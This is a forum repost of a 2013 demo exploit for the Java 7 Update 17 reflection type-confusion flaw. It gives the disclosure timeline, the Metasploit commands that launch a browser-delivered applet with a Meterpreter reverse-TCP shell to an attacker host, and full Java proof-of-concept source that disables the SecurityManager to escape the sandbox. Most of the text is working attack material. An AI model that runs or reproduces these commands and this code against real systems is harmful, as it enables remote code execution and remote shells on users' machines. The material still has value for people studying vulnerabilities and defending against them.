Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo

[Nytro]

[h=1]Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo[/h]

[h=4]Timeline :[/h] Vulnerability discovered and reported to vendor by Jeroen Frijters

Vulnerability corrected in April CPU the 2013-04-16

Vulnerability publicly disclosed by Jeroen Frijters the 2013-04-17

Metasploit PoC provided the 2013-04-20

[h=4]PoC provided by :[/h] Jeroen Frijters

juan vazquez

[h=4]Reference(s) :[/h] Oracle Java April 2013 CPU

[h=4]Affected version(s) :[/h] JDK and JRE 7 Update 17 and earlier

[h=4]Tested on Windows XP Pro SP3 with :[/h] JDK and JRE 7 Update 17

[h=4]Description :[/h] This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit doesn’t bypass click-to-play, so the user must accept the java warning in order to run the malicious applet.

[h=4]Commands :[/h]

use exploit/multi/browser/java_jre17_reflection_types
set SRVHOST 192.168.178.36
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;

class Union1 {
  int field1;
  Object field2;
}

class Union2 {
  int field1;
  SystemClass field2;
}

class SystemClass {
  Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,
    f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,
    f24,f25,f26,f27,f28,f29,f30;
}

class PoC {
  public static void main(String[] args) throws Throwable {
    System.out.println(System.getSecurityManager());
    disableSecurityManager();
    System.out.println(System.getSecurityManager());
  }

  static void disableSecurityManager() throws Throwable {
    MethodHandle mh1, mh2;
    mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
    mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
    Field fld1 = Union1.class.getDeclaredField("field1");
    Field fld2 = Union2.class.getDeclaredField("field1");
    Class classInt = int.class;
    Class classDouble = double.class;
    mh1.invokeExact(int.class);
    mh2.invokeExact((Class)null);
    Union1 u1 = new Union1();
    u1.field2 = System.class;
    Union2 u2 = new Union2();
    fld2.set(u2, fld1.get(u1));
    mh1.invokeExact(classDouble);
    mh2.invokeExact(classInt);
    if (u2.field2.f29 == System.getSecurityManager()) {
      u2.field2.f29 = null;
    } else if (u2.field2.f30 == System.getSecurityManager()) {
      u2.field2.f30 = null;
    } else {
      System.out.println("security manager field not found");
    }
  }
} 

Sursa: Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo